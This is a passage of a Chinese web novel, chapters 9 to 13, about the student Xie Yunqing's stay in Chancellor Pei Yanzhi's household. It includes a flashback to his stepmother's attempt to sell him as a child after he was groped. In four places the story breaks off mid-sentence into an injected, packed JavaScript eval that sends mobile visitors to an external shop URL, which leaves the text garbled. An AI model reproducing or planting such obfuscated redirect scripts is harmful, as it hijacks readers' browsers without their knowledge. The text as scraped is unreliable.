在回答之前,崔玄莫名看了谢云卿一眼。 很快,堂内几乎没有人察觉到。 再道:“不用我们谁去绑。” “裴丞相他,待会儿便会回来了。” 9.第九章 崔玄确实是今日回来的。 但却不是这个时辰才到。 也本来没打算,赶在今天,来裴宅陪裴老夫人用膳。 这还要从他晌午时候,去丞相府找裴延之商谈政事说起。 进府时,崔玄刚好碰到庾秀和他儿子庾琛从里头出来。 他虽觉得有些凑巧,却并不感到奇怪——庾琛与裴宣起冲突后,庾秀来找裴延之赔罪这种事并不算少见。 也纵使旁人都能看出,堂堂颍川庾氏家主、吏部尚书,经常因为孩子之间的打闹,如此兴师动众找虽身居高位、却也算他的小辈的裴丞相赔罪这件事,多少有点故意引人寻味的意思。 可那点小心思,还不值得他与裴延之放在心上。 于是简单与庾秀客套几句后,崔玄便将这件事抛到了脑后,径直往裴延之那儿去了。 不过,才踏入政事堂,崔玄便觉得裴延之今日有些不同。 裴延之正坐在主案后,微微垂首看手中的奏章,听属官的禀报,间或询问、批答——看起来与往常一样,但却在某个瞬间,眼神极其短暂地凝滞了一下。 他与裴延之一同长大。 虽说裴延之是自小就如现在这般冷若冰山、不近人情,令人难以捉摸。 可怎么说,他也捉摸了将近三十年了,多少能察觉出些许,一般人根本察觉不到的,裴延之情绪的波动。 就比如现在,只凭那个瞬间,他就能断定,裴延之的情绪并不似以往那般静如止水。 而引起裴延之情绪波动的,一定不是近期的政事。 毕竟现如今京城、吴郡、会稽、乃至整个魏室,都还没有超出裴延之掌控的事发生。况且就算有,至多不过是让裴延之再多费些心神,很难直接影响到裴延之的情绪。 但崔玄并没有表露出来—— 在裴延之面前,想满足自己的好奇心,首要具备的,就是耐心。 他假装没有察觉,待属官退下后,又与裴延之商谈了很久会稽的政事,直到日渐西沉,他将离去。临走前,他才状似无意地提及,他来的时候恰好撞见庾氏父子离开。 裴延之抚卷的手一顿。 崔玄知道自己猜对了。 于是他又接着道,见庾琛身上的伤好像有些严重,担心裴宣是不是吃了亏,想去裴宅看一看裴宣。 裴延之抬起头,看向他。 眼神冰冷。 一般人一定会因此感到畏惧。 但崔玄却笑了笑,再重复了一遍,他待会儿要去裴宅看一看裴宣。 像是在征询裴延之的许可——即使他并不需要裴延之的许可。 他们二人心知肚明。 “随你。” 许久之后,裴延之冷冷答道。 要有意外收获了。崔玄意识到。 裴延之竟在看出他试探的意图后,还肯稍稍配合。 那这个意外收获,估计还不会小。 ——果真不小。 崔玄在裴老夫人的堂中,看到了一张或许算在他意料之中,却也实在出乎他意料的脸。 三分憔悴七分清冷。 让崔玄想起了,十多年前,京城的那一场雪。 美得令人心惊。 也就是在这一刻,崔玄笃定,裴延之今天一定会回来。 “当真?”裴老夫人惊喜道。 崔玄垂眸看向案上的玉盏,又是有些微妙地笑了笑:“当真。” 裴老夫人不再多问,转而吩咐秦嬷嬷,“去多备些菜来。”想了想,又道,“把前些日子郡府呈的那些酒也拿来吧。” 再对崔玄道:“是兖州地方的官员呈上来的酒,叫什么‘百花酿’,据说是那边的稀罕物,几十年才能得一坛。我老了,喝不了了,难得你与延之都来陪我用膳,就拿来添些滋味吧。” 语顿看看裴宣与崔稷,又看看身侧的谢云卿:“正好也教你们这些娃娃尝一尝。” 裴宣当即应下:“好呀好呀……” 可话音未落,便看到崔稷在对他使眼色。 顺着崔稷的目光,裴宣看到谢云卿的脸色更加难看了。 这才想起来,谢云卿十分怕他哥——只是听到他哥要来,便吓成了这样,若是真的见到了,怕不是会被吓得直接昏过去? 裴宣只得忍痛放弃那酒的滋味,立即改口道:“……还是算了,我们三个都吃得差不多了,已经没什么胃口喝酒了,还是先走吧。” 裴老夫人自然也注 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17250604|197056||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 意到了崔稷与裴宣之间的小动作,再看向谢云卿,心里也明白究竟是什么回事了,便不再强留,点点头道:“也好,你们年纪小,喝酒易伤身,就早些回去休息吧。” 就在裴宣上前,准备牵着谢云卿离开时,又有侍女来报,道是刘大夫已经将谢小公子的药准备好了,听说谢小公子在这里,便过来替谢小公子换药。 裴老夫人有些为难,犹豫几息后,轻声问谢云卿:“要不就在祖母这儿将药换了再走?夜将深了,刘大夫年纪也大了,便省的他跟着你们多跑一趟,可好?” 谢云卿眼睫颤了颤。 他其实也说不准,自己心里究竟是什么想法。 自走入裴老夫人的堂中,看到裴老夫人眼底对他的喜爱。 他心底便涌出一股强烈的不真实感,令他昏头昏脑,只能如一个没有意识的傀儡般,完全听从身边人对他的指令。 只在终于意识到,那位裴丞相将要到来时,心中的惶恐与不安才又冒了出来—— 不仅仅是因为,可能会见到裴丞相而惶恐与不安。 还是因为再次明确地认识到,自己一个普普通通的寒门学子,现在竟然身处河东裴氏家宅的惶恐与不安。 可他又无法拒绝裴老夫人与裴宣的好意——但为什么无法拒绝,他现在还是有些不清楚。 就这么顾自无措慌张了一会儿。 在裴老夫人将要改口之前,谢云卿终于鼓起了一点微弱的勇气,点了点头。 只是换个药罢了,很快的吧,应该等不到那位裴丞相过来的吧。 裴老夫人欣慰地摸了摸谢云卿的头。 再吩咐侍女将素绢屏风移过来,方便谢云卿解开衣服,让刘大夫换药。 等谢云卿走到屏风后,除了进来替他换药的刘大夫,其他人便开始了新的话题,说说笑笑的,并不将注意力一直放在谢云卿那里。 就这么听着听着,谢云卿渐渐放松下来,开始无意识地放空自己。 但突然。 像是有什么东西碎了一样,屏风外陡然安静下来。 谢云卿的神经骤然紧绷—— 因为他知道。 外面根本没有东西碎掉。 是裴丞相来了。 10.第十章 安静的时间也许很短,也许很长。 谢云卿不能确定。 只知道当他的大脑终于不再一片空白时。 那位裴丞相已经走到了他的面前——虽然隔着屏风与一段距离。 也幸好隔着屏风与一段距离。 可能是过度的紧张导致了错觉—— 屏风上,裴丞相的身影,高大、颀长。 明明是他第一次看见,却莫名觉得有些熟悉。 但他现在仍无法思考。 而这种错觉也很快被屏风外裴老夫人的声音冲散。 “延之,你在看什么?” 说着,裴老夫人顺着裴延之的目光看去。 角落处,朦胧灯火中,谢云卿的影子映在了那扇素绢屏风上。 其实并不是很完整,只影影绰绰映出了大概。 但因为谢云卿的身形实在太过单薄,以至于修长的脖子、平直的肩膀与细瘦的腰身便显得格外清晰。 甚至能看出左肩处的裸.露。 像是某种写意的画卷。 裴老夫人下意识觉得有哪里不对劲。 收回眼,想了想,却又觉得应是自己忘了向裴延之介绍谢云卿。 但才要开口,便听到裴延之道:“我与彦度还有政事相商,改日再来陪祖母用膳。” 裴老夫人有些哑然。 默了一瞬后,轻轻叹息道:“原是来找玄儿商谈政事……” “也好,也好,国是为重……” 而后低下了头,不再看裴延之。 摆摆手道:“那就去吧。” 很快,谢云卿听到了嬷嬷、侍女们的拜送之声。 那道身影便消失在了屏风外。 恰好,刘大夫也为他换完了药,两人一同走出屏风。 刘大夫先行告退离开。 只留谢云卿呆呆地站在堂中,看着脸上难掩失望的裴老夫人。 秦嬷嬷上前与裴老夫人耳语了几句,似乎是在劝慰,却没起什么作用。 裴宣与崔稷随后也走到了裴老夫人身边。 裴宣道:“祖母,不管怎么样,兄长人都回来了,也没说今夜就要走,兴许明天就有时间陪您呢?” 裴老夫人叹了一口气,没有应声。 裴宣便跪坐下来,握住裴老夫人的手,仰着头,笑嘻嘻道:“就算兄长不来,也没关系嘛,只要您不嫌烦,我和崔稷……”一顿,看向谢云卿,“还有云卿,可以天天都来陪您用膳啊!” 裴老夫人终于勉强牵出个笑,拍了拍裴宣的脑袋:“是你不想在太学里读书了吧。” 又沉默片刻。 望着裴延之离开的方向,轻声道:“我不是怪延之不陪我,是担心,他还没有走出来。” “已经十多年了啊……” 裴老夫人的话没说全,但裴宣和崔稷显然知道她在说什么,也都不再吭声。 回去路上,不知是出于什么原因,谢云卿竟开口问了裴宣。 裴宣看起来也有些苦恼,双眉紧皱着:“祖母的意思是,自从我父母离开后,每年除了年节那几天,兄长就再没和我们一起用过膳,担心兄长是不能释怀父亲母亲的离开。” “可我倒没有这么觉得。”裴宣抿了抿唇,“兄长什么都挺正常的,只是天生性子冷,不喜与人亲近。不和我们用膳也只是单纯因为忙吧,我听他身边的侍从说,有时候兄长忙起来,忘记用膳也是常有的事。” “就是祖母不这么觉得罢了。” 谢云卿不知道怎么回答。 只是突然想起,母亲离开后,很长一段时间里,即使他还小,还不完全明白母亲的离开究竟意味着什么,但每当他做起以往和母亲一起做的事的时候,都会感到难受、悲伤,有时还会莫名的哭泣。 长大之后,这种情况虽然不再经常,却也会在某些瞬间,让他内心钝痛、眼眶酸涩。 像是一个永远无法愈合的伤口。 除了尽力不要触碰、尽力掩盖淡忘,没有任何办法。 那裴丞相…… 也是这样吗? 也会这样吗? 那样清冷矜贵、令人敬畏的裴丞相心里,也会有这样一个永远无法愈合的伤口吗? 裴宣送谢云卿回到客房后,叮嘱谢云卿一定要好好休息,明天会带谢云卿在裴宅里逛一逛,然后晚上再去陪裴老夫人用膳。 不知道心里在想什么,或许只是身处裴宅就足够令他不安,谢云卿最后并没有睡好。 不过裴宣也并没有计较——也可能只是没看出来。 总之,第二天一早,裴宣还是高高兴兴地拉着谢云卿往裴宅的花园里去了。 还有崔稷一脸不怎么情愿地跟在后面。 “裴宣,你又在发什么疯,有这么大清早赏花的吗?” “怎么没有?我们今天不就是吗?” 裴宣还是乐呵呵的,像是无论崔稷怎么打击,都不会影响一点他的兴致。 可惜没什么兴致的不止崔稷一人,谢云卿也很难体会到裴宣口中,清晨赏花的乐趣——更何况,初春时节,花园里也没有多少花。 最后,在崔稷的强烈要求下,三人终于不再无止尽地到处闲逛,停在了湖畔一片紫藤花架下。用崔稷的话来说,是头牛一大清早这么走也累死了,他要坐下来歇歇,晒晒太阳。 裴宣本想抗议,但转眼看到谢云卿仍很是苍白的脸,也终于想起来谢云卿还受着伤,便才宣布今天就逛到这里,明天再继续。 崔稷懒得跟裴宣掰扯,翻了个白眼就率先坐了下来。 裴宣紧随其后,拉着谢云卿坐到了崔稷旁边。 由于崔稷不想说话,谢云卿又不爱说话,身为话痨的裴宣很快便感觉到了无聊。 在百无聊赖地扯扯身下锦茵,拽拽头上花藤,又打了七八.九十个哈欠后,裴宣终于看到了一点新的乐子——一个下人抱着一把琴经过。 裴宣立刻喊住了那人,问他抱着琴要去干什么。 下人答道,是几日前送去制琴师那里调养的琴今天送了回来,他现在正要将琴放回长公子院中。 “啊,是我哥的琴呀。”裴宣双眼更亮了,“我哥的琴可都是绝世名品,平日里看都不让我看。” 他对那人招招手,示意那人将琴放到他们三人面前的石案上。 “今天我不仅要看,还要弹!”裴宣搓搓手,很是兴奋。 “你不是不会弹吗,万一弹坏了可怎么办 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17260228|197056||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 。”崔稷泼他冷水,“我劝你最好还是死了这个心,不然又得哭着去求你哥放过你了。” 裴宣当真一下子僵住了,片刻后,丧气地低下头:“可我就是很想听一下这琴的音色嘛。” 崔稷知道裴宣的心思,睨他一眼:“别想了,我也不会。” 裴宣立马将眼神投向坐在他们中间的谢云卿。 声音放低,央求着:“云卿云卿,你会不会呀,如果你会的话,可不可以弹给我听呀。” 崔稷闭了闭眼:“你是不是忘了他肩上还有伤。” 裴宣犹豫了一瞬,想了想,再道:“可是随便弹的时候又用不到肩膀!”转又再次央求谢云卿,“好不好嘛,云卿,就随便弹一下嘛!” 谢云卿扫过面前从琴身到琴弦,每一处都泛着淡淡光泽的七弦琴。 不知为何,最开始的时候,眼神有些躲闪。 但在听到裴宣坚持不懈的哀求之后,踟蹰片刻,他微微地点了点头。 声音莫名有些哑:“我……会一点,可以试试。” 谢云卿小心地抬起手,指尖轻轻搭在弦上。 没有立即挑抹,而是就这么静静停了些许时间,像是在做什么准备。 ——终于,他指尖动了。 三月最是紫藤繁盛的时候,条条垂下如花瀑,轻风一吹,淡紫的花瓣和着碎金般的阳光一起,落在谢云卿的长发、睫毛、脸颊、肩膀、以及修长如玉的手指上。 弹琴的时候,谢云卿其实没什么表情。 却莫名不似以往看上去那么冷,像是那些花瓣与阳光,将他身上表面的冷意都带走了。 裴宣终于敢细细看他的五官。 也因此,有了一个重大的发现——谢云卿的冷和他哥的冷其实不太一样。 就比如,他哥无论是什么表情,又眼睛或闭或睁,那股拒人于千里之外的冷意都不会消散。 完全就是块不管从什么方向、角度看,都不会改变的坚冰。 可谢云卿,只要他眉头微蹙、眼睫稍动。 那股冷意便能稍稍淡去,化作一片轻柔的雾气,白练般萦绕不绝。 若是双眼微转、甚至双唇轻扬。 雾气便就化作云、化作雨,漫漫落下,让人不自觉地想要触碰。 裴宣坐在谢云卿的身旁,罕见地连大气都不敢出,生怕惊扰了谢云卿一点。 也同样没有听到崔稷的呼吸声。 一曲终了。 谢云卿慢慢收回手,想要去看裴宣。 可还没转过头,就听到一阵鼓掌声从不远处传来。 “弹得很好。” “也……很美。” 是崔玄。 谢云卿寻声看去,瞳仁却猛然一动。 崔玄身旁,站着一道更为颀长的身影。 相对于崔玄的眉眼含笑,那人脸上一点神色也没有,冷得要命。 可与之视线相对的一瞬间。 谢云卿的耳边竟骤然爆发阵阵嗡鸣。 紧接着,心跳开始加速,脸颊与手心也开始滚烫。 莫名其妙的。 他分明没有见过,却能立刻反应过来。 那个人。 正是裴延之。 11.第十一章 裴宣与崔稷也愣住了。 但很快,裴宣“蹭”的一下站起来。 还迈了一大步上前。 朝着裴延之结结巴巴地解释道:“哥你别生气,是我要云卿弹的,跟云卿没关系。” 颇有一种“视死如归”的决绝。 崔稷也跟着站起来。 硬着头皮道:“我也有责任,我没拦住裴宣。” 一片紫藤花瓣从谢云卿眼前落下,稍稍遮住了谢云卿的视线。 很短。 几乎只有一瞬间。 但也就是这一瞬间。 猛地将谢云卿从那种奇怪的反应中拉了出来。 他其实还有些晕晕乎乎弄不清状况,却也连忙站了起来。可站起来后,又不知该说些什么,便只能低下头,一副乖乖认错的模样。 三人恰好是由高到低并排站着。 看起来又都有点战战兢兢,活像三只小鹌鹑。 这一幕实在有些滑稽,看得崔玄直接笑出了声。 笑罢,崔玄瞥了一眼裴延之。 揶揄道:“没想到,裴相在家里也是如此威名赫赫啊。” 谢云卿心中一跳。 一股寒意倏地窜过脊背,漫至全身。 ——当真是裴丞相来了。 那他刚刚…… “诶,裴相别走啊。” 崔玄突然扬声,打断了谢云卿还未来得及开始的后怕。 紧接着,放松的吁气声从身边响起。 “太好了!我哥没在意!”裴宣又立马坐回位置,还分别拉了拉崔稷与谢云卿,“我哥已经走远了,都坐吧。” 不知为何,在坐下来后。 谢云卿很快地看了一眼裴延之离开的方向。 风又起,淡紫色的花瓣飘飘荡荡,视线有些模糊。 可当他再次看到那道身影。 即使只是背影。 眼前竟突然清晰了起来。 不过,只短短一瞬。 那道身影便消失在了拐弯处。 快到,谢云卿完全捕捉不住,方才那种奇怪的反应,究竟是什么。 “云卿!云卿!” 一双大手在眼前晃了晃。 是裴宣的手。 “你不会吓傻了吧。”裴宣面露担忧,“真的没事了,我哥肯定不会因为这件事生气的,刚刚不过是……” “……是一种本能反应罢了。”裴宣挠挠头,“你能明白吧?” “就像老鼠见到猫。”崔稷凉凉道。 “对对对!”裴宣这次难得没有反驳,还颇为赞同地点点头,“话虽不能那样说,但道理确实是那个道理。” 语顿,裴宣突然左右看了一眼。 确定侍从也已经抱着琴离开了之后,凑到谢云卿耳边,很刻意地很小声地说:“你都不知道,我小时候最大的愿望就是能和崔稷换一个哥哥。” 崔稷在旁边冷笑了一声。 裴宣装作没听到,继续说他自己的:“听我祖母说,我五六岁的时候,甚至一看到我哥就会哭,怎么哄也哄不住,最后还得是我哥也看我一眼,我才不哭了。” “咳咳……”裴宣像是有些不好意思,“但那也只是被吓得不敢哭了。” 崔稷又冷笑了两声。 “笑什么!”裴宣瞪了崔稷一眼,“搞得好像你不怕一样,你这完完全全是五十步笑百步!” 崔稷回了他一个白眼,不笑却也不说话了。 也许是觉得这个话题有些“沉重”。 收回眼后,裴宣便赶紧换了个话题,问谢云卿:“云卿,你是从什么时候开始学琴的呀?” “弹得真的很好,听起来,就连宫里的琴师也比不上你,是不是从很小很小的时候就开始了呀?” 谢云卿本就处在一种意识不太清醒的状态。 又被裴宣对着耳朵说了一大通话,脑子便更是成了一团糨糊。 听到裴宣的问,很艰难地反应了好一会儿,才反应过来裴宣在问什么——又瞬时怔住了。 从什么时候开始学琴的。 这个问题本身其实并不难回答。 ——是十岁那年。 回答不上来是因为。 那年,发生在学琴背后的事。 精神好像闪回到十岁,父亲因公事去了另一个地方,而他被继母带着去“看望”一个老嬷嬷的时间。 那是继母第一次,也是唯一一次带他出门。 谢云卿十分受宠若惊,一路上,包括到了那个老嬷嬷那里,他都表现得比平时还要安静、乖巧,生怕会让继母感到一丝厌烦。 他的表现最终得到了,继母和那个老嬷嬷的夸奖。 却是很怪异的夸奖。 还记得,那个老嬷嬷,眼睛里闪着贪婪的光,用她那双布满了皱纹的手,几乎摸遍了他的全身。 他很害怕。 期间,好几次本能地想要躲闪,却被继母紧紧地控制住,不许他躲闪分毫。 最后,那个老嬷嬷满意地笑了笑,对着继母耳语了几句,便让继母带着他回去了。 回去之后,继母对他的态度突然好了很多。 不仅不再让他继续做一些脏活累活,还为他请来了一个先生,专门教他弹琴。 他不明白继母为何要他学琴。 却学得比谁都认真。 不过短短一个月,那位先生便说,他已经没什么可教的了。 也就是在那一天,那个老嬷嬷再次出现了。 来到了他家,听他弹完一曲后,更是连连点头,对继母道:“可以了。” 那个老嬷嬷离开后的第三日,家里又来了几个穿着打扮非常华贵的妇人,也是同样地检查完他的全身、听他弹完一曲后,就一直对着继母夸他。 随后,拿出了一个很大很重的箱子,交给了继母。 那是他见过继母笑得最开心的一次。 然后,那几个妇人便说,要带他去一个地方做客,让他乖乖地跟着她们走。 继母也在一旁告诉他,等他去了那个地方,就能一直吃好的穿好的,不用再过这样的穷苦日子了。 谢云卿虽然还小,却不是傻子。 在那一刻,他明白,继母已经将他卖了。 于是他开始拼了命地跑。 35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17265676|197056||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' >那是个电闪雷鸣、暴雨倾盆的傍晚。 他浑身湿透,跑到口鼻出血、骨头泛疼,却还是被她们抓了回来。 他被继母拽着衣襟拖到屋檐下,狠狠地打了一巴掌。 说他不识好歹,说他只会坏了她的好事。 他想要恳求继母不要卖他。 他以后一定会更加听话,一定会吃更少的饭、做更多的事。 可是,他已经连话都说不出来了。 那个时候。 泪水与雨水一样,多余且无用。 一样,惹人厌烦。 就在他将要绝望的时候。 父亲回来了。 父亲在看到这一切后,极少地震怒了,将他抱在怀里,与继母大吵了一架。 其实也没什么用,继母并没有因此改变想法。 只是为谢云卿拖出了他在逃跑的时候,让隔壁阿哥去找乡里先贤过来的时间。 事情闹大了。 他再也不会被卖了。 但记忆中,那场雨却好像一直没有停下。 至于那个时候继母为何让他学琴。 是直到他去年,来到太学,偶然听到几个同窗谈论风月之事才明白——为了让他卖出一个更好的价钱。 “云卿……”裴宣喊了他一声,“你的脸色变得好难看啊,是肩膀疼吗?” 谢云卿骤然回神。 一抬头,看见裴宣满眼担忧。 “都怪我,刚刚不该让你弹琴的。”裴宣用力敲了敲自己的脑袋,还转过头说崔稷,“也怪你!怎么不多拦拦我。” 崔稷一阵无语,懒得和裴宣掰扯。 直接站起身,走到谢云卿面前,放低了声,问道:“要是疼得厉害你就别动了,我去请刘大夫过来。” 不知为何。 眼眶突然一热,喉咙也发紧。 谢云卿有些说不出话,只能用力地摇了摇头。 停下来后,看着裴宣与崔稷,他竟忽然想笑,便也真的笑了。 那一刻,仿佛冰雪消融,暖春忽至。 裴宣与崔稷又再次愣住了。 湖对岸的楼阁上。 崔玄负手站在栏杆边,将紫藤花下的一幕尽收眼底。 而后,侧过身。 望向站在另一边,虽眼神淡漠,但也在看谢云卿三人的裴延之。 挑了挑眉,却没说话。 过了一会儿,才道:“昨日忘了与你说,你去吴郡的三个月里,这朝野上下,可没几个安分的呐。” 裴延之没有应声。 崔玄便笑:“你就准备这么一直纵着他们在永嘉胡闹?我可听说,那位与庾氏的人,已经和北方的鲜卑搭上了关系,之后指不定会闹出什么乱子来呢。” 裴延之收回视线,看了崔玄一眼,只淡淡道:“还不是时候。” 崔玄不再多说,转而道:“我从会稽回来之前,你长姐再三叮嘱我,要我一定多多关心你。” “那我现在可要关心关心了。” 崔玄又看回那片紫藤花下,言语含笑:“既都回来了……” “怎么也不和那孩子说说话?” 12.第十二章 意料之中的。 裴延之没有回答。 崔玄也没有去看裴延之现在是什么神情。 因为不用看也知道,一定是如往常般,不管面对什么事,都不会流露出任何情绪。 像是从来没有七情六欲一样。 可崔玄知道,裴延之并非从来没有七情六欲——至少,在他父亲母亲离去之前。 那个时候,十几岁的裴延之。 虽然已经喜怒不形于色,情绪难以捉摸,却有很明显的喜好与厌恶。 会像个真正的少年人,对喜欢的事物爱不释手,对厌恶的东西多看一眼都欠奉。 但在噩耗传来之后。 几乎是一夕之间,裴延之身上,这一丁点七情六欲的体现都不见了。 最后一次窥见,是在他为裴延之践行,送裴延之前往豫州继承父任的那个清晨。 是时,大雪纷飞,天地一白。 他与裴延之立在亭中,望着那场雪,谁都没有说话。 很久很久。 久到崔玄以为,裴延之不会再开口的时候。 他听见,裴延之说,这是他见过最美的一场雪。 此后十余年。 再无人能感受到裴延之的喜怒与哀乐。 崔玄一路看着。 看着裴延之在短短三月内,便平定了豫州之乱,随后重振北府军,击退北胡侵袭;看着裴延之携军回朝,却不谋一点私利,只力排众议,以一己之力开启改革;看着裴延之为了改革四处奔走,初见成效后,又回到京城,不久位丞相而定朝野,令门阀世家乃至皇室,再不敢试图阻挠改革。 过程中,有很多时候,也有很多人,都认为裴延之有倾覆之心——这魏朝终有一日,会是他河东裴氏的天下。 道是拥如此权倾朝野之权、居如此万人之上之位者,若无自立之心,便是圣人。 而所有人都不会相信。 这个世上,当真会有圣人。 但崔玄知道,或许,裴延之真的是那个圣人。 时至今日,裴延之掌权已有整整十二载。 却没有一天,因私欲而动权柄,一切所作所为,皆是为了百姓、为了家国、为了天下。 可这样难道不会痛苦吗? 这样将自己所有的情绪、喜恶、私欲都磨灭在兴复魏室的责任之下,难道真的不会痛苦吗? 崔玄扪心自问。 如果是他,他做不到。 甚至换做这世上任何一个人,都不会做到。 正因如此,裴延之的祖母、长姐,才会如此担心、挂念裴延之,希望能有一个人,哪怕是一件事,能够让裴延之的内心,有可以舒缓之处。 隔着湖面,居高临下。 崔玄看着裴宣在怔愣之后,摘下了一串紫藤,编成了花圈,带在了谢云卿的头上。 而后,他们三人离开了紫藤花架,离开了裴宅花园,渐渐消失在了崔玄的视线中。 回到裴宣的院子已是晌午之后。 用过了午膳,裴宣与崔稷都有些困乏,询问谢云卿需不需要小憩一会儿。 谢云卿犹豫了一会儿,问裴宣,他可不可以去温习太学那边送来的功课。 裴宣很是惊讶,这是他第一次亲眼见到这样的好学之人——他能看出谢云卿其实很害怕向他提出要求,更多时候都是胆怯而温顺的。 但为了学习,谢云卿竟“勇敢”至此。 想到这里,裴宣都有点热血激昂、跃跃欲试了。 不过让他去学,是不可能的。 裴宣激动地一下子从榻上坐起来后,不过几息,理智便回归了,就又咸鱼般地躺了回去。 但他将谢云卿的学习大业安排得很好。 不仅吩咐人将太学的功课送去裴宅里最好的书阁,让谢云卿有良好的学习环境,还打发他的贴身侍从去请裴宅中最好的夫子,为谢云卿答疑解惑。 谢云卿跟随侍从到了书阁,发现那些功课记得非常有条理、有重点,与他自己记得都相差不多; 而且裴宅的夫子也十分学识渊博,一点也不比太学的博士差,对待谢云卿也更加上心,有时谢云卿都还未提问,夫子便已主动为他解惑。 一个下午过去,谢云卿感觉自己收获良多,心中也满是对夫子与裴宣的感激。 在送走夫子之后,谢云卿还有些舍不得离开书阁。 眼见天色还早,离晚膳也还有些时候,谢云卿便让裴宣的侍从先离开,说自己过一会儿便会回去。 但不想,天色虽还早,却变得很快,侍从离去后没多久,书阁外便下起了雨。 谢云卿自书案抬起头,雨幕已成帘。 虽不算大,但若是冒雨回去,必会湿了衣服,耽误去陪裴老夫人用膳的时间,而若是等裴宣吩咐侍从取伞来接,也会耽误时间。 谢云卿不禁有些懊恼,责怪自己为何会在裴宅中失了分寸,以至于陷入两难之地,还给裴宣与裴老夫人添了麻烦。 更不妙的是,这雨势也变化得很快。 上一眼不过是春雨淅沥,天色还很明亮; 不过片刻之后,乌云便从天际席卷而来,天地瞬间昏暗,雨势也忽如倾盆。 潮湿的水汽漫进书阁。 令谢云卿想起了不久前,记忆中的那场雨。 他忽然浑身战栗,难以呼吸。 像是回到了十岁那年的屋檐下,被继母死死拽着衣襟。 手中的笔“啪嗒”一声落到了书案上。 谢云卿似是被惊醒,又似是陷入了更深的梦魇。 他扶着一旁的灯台站起。 但站定之后,却又一动也不敢动,仿佛仍被继母的眼睛狠狠盯着。 下一瞬,他浑身猛地一颤,跌跌撞撞地,往书阁深处跑去,想要找到一块安全的角落,可以将自己藏起来。 连绵不绝的书架从眼前掠过,视线却越来越模糊。 不知过了多久,“嘭”的一声,他撞到了书阁的墙壁— ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17269840|197056||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' —已经跑到尽头了。 四下已然全黑。 与记忆中如出一辙的疼痛也漫至了全身。 更是让谢云卿分不清虚幻与现实。 怔愣之后,谢云卿颤抖着坐了下来。 紧紧抱住自己的膝盖,将自己缩成了一团。 企图不被记忆找到。 在谢云卿来到书阁之前,裴延之便已经在这里处理公务。 听到谢云卿的声音后。 裴延之抬起头,隔着二楼的珠帘,看了谢云卿的一眼。 不知是不是裴宣的故意。 谢云卿的鬓边还有一片紫藤花瓣没有被摘下。 裴延之的指腹忽然有些痒。 却没有在意,很快,他垂眸继续批阅案上的奏章。 天色忽变,雨势滂沱。 裴延之知道,这一定出乎谢云卿的意料,却没想到,谢云卿的反应竟会如此剧烈。 楼下传来一阵跌跌撞撞之声。 裴延之合上手中奏章,站起身,掀开珠帘,望向谢云卿。 即使没了珠帘的遮挡,谢云卿也还是没有发现他。 裴延之看着谢云卿像一只因受了惊而慌忙逃窜的小动物,浑身颤抖着往书阁深处跑去,没过多久,又听到重重的撞击之声。 隐在暗处的侍从走出。 低声询问可否需要他前去查看谢云卿的情况。 裴延之不置可否,却接过侍从手中的烛台,走下楼梯。 一直走到书阁的最尽头。 他看到谢云卿缩在角落里,小小的一团,仍在不住地颤抖。 裴延之下楼前,本想将烛台交给谢云卿就走,但看到谢云卿这样的情况,他少见地改变了想法。 将烛台放到一旁的窗阁上。 裴延之单膝蹲下,看着暖黄的灯火下,夹在谢云卿鬓边的那片紫藤花瓣。 他轻轻道:“谢云卿。” 缩在角落里将自己抱成一团的行为并没有令谢云卿好过多少。 像是跌入沼泽。 无数双手在拉着他下坠。 与此同时,被那个老嬷嬷摸着的粘腻之感像一条冰冷的蛇,再次游走过他的全身。 ——谁来救救他。 ——有没有人来救救他。 谢云卿听见自己十岁时无助的哭泣。 就在他将要被窒息与绝望淹没之际,忽然,他听到有人在喊他。 很轻,也并没有重复与急切。 却像一双温暖的手,将他从沼泽深处拉了出来。 他抬起头。 看到了灯火,与灯火下高大的身影。 冰冷的空气也骤然温暖起来。 ——他得救了! 谢云卿猛地扑向那道身影。 并紧紧抱住。 泪水终于如雨倾下。 无数的无助、害怕与委屈,化作一声声的轻喊:“父亲,父亲。” 他的父亲还是回来救他了。 13.第十三章(待修) 与记忆中不同的是。 父亲这次并没有也抱住他。 可这已足够令他安心。 